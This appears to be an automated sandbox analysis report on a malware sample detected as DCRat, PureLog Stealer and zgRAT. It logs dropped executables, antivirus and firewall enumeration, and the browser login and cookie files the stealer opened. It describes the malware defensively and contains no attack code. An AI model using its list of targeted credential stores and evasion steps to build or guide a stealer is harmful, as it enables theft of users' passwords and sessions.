Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Code function: 3_2_009A0970 CreateNamedPipeW,CreateFileW,

3_2_009A0970

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 1_2_004ADF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

1_2_004ADF1E

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Code function: 3_2_0099F2B0 GetUserNameW,GetUserNameW,GetLastError,GetUserNameW,GetEnvironmentVariableW,GetEnvironmentVariableW,RegCloseKey,RegCloseKey,RegCloseKey,RegCloseKey,RegCloseKey,RegCloseKey,

3_2_0099F2B0

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 1_2_0049B146 GetVersionExW,

1_2_0049B146

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2938049506.000000001B820000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000024.00000002.2899943903.00000000034E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2899943903.0000000003277000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1853703523.0000000012EE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: webDriverintoDll.exe PID: 7364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KAdpNCgonFhCnlBRasdZerWl.exe PID: 8028, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: gorkmTnChA.exe, type: SAMPLE
Source: Yara match	File source: 1.3.DCRatBuild.exe.5218700.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.webDriverintoDll.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.DCRatBuild.exe.68dd700.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.DCRatBuild.exe.68dd700.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.gorkmTnChA.exe.2c2170f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.45797b.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.45797b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.409294.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1654559691.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1656268229.00000000051CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1655715436.000000000688F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.1775306001.00000000004E2000.00000002.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1648785828.0000000000408000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, type: DROPPED
Source: Yara match	File source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: gorkmTnChA.exe, type: SAMPLE
Source: Yara match	File source: 1.3.DCRatBuild.exe.5218700.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.webDriverintoDll.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.DCRatBuild.exe.68dd700.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.DCRatBuild.exe.68dd700.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.gorkmTnChA.exe.2c2170f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.45797b.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.45797b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.409294.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, type: DROPPED
Source: Yara match	File source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000024.00000002.2899943903.00000000034E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2899943903.0000000003277000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1853703523.0000000012EE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: webDriverintoDll.exe PID: 7364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KAdpNCgonFhCnlBRasdZerWl.exe PID: 8028, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: gorkmTnChA.exe, type: SAMPLE
Source: Yara match	File source: 1.3.DCRatBuild.exe.5218700.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.webDriverintoDll.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.DCRatBuild.exe.68dd700.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.DCRatBuild.exe.68dd700.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.gorkmTnChA.exe.2c2170f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.45797b.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.45797b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.409294.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1654559691.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1656268229.00000000051CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1655715436.000000000688F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.1775306001.00000000004E2000.00000002.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1648785828.0000000000408000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
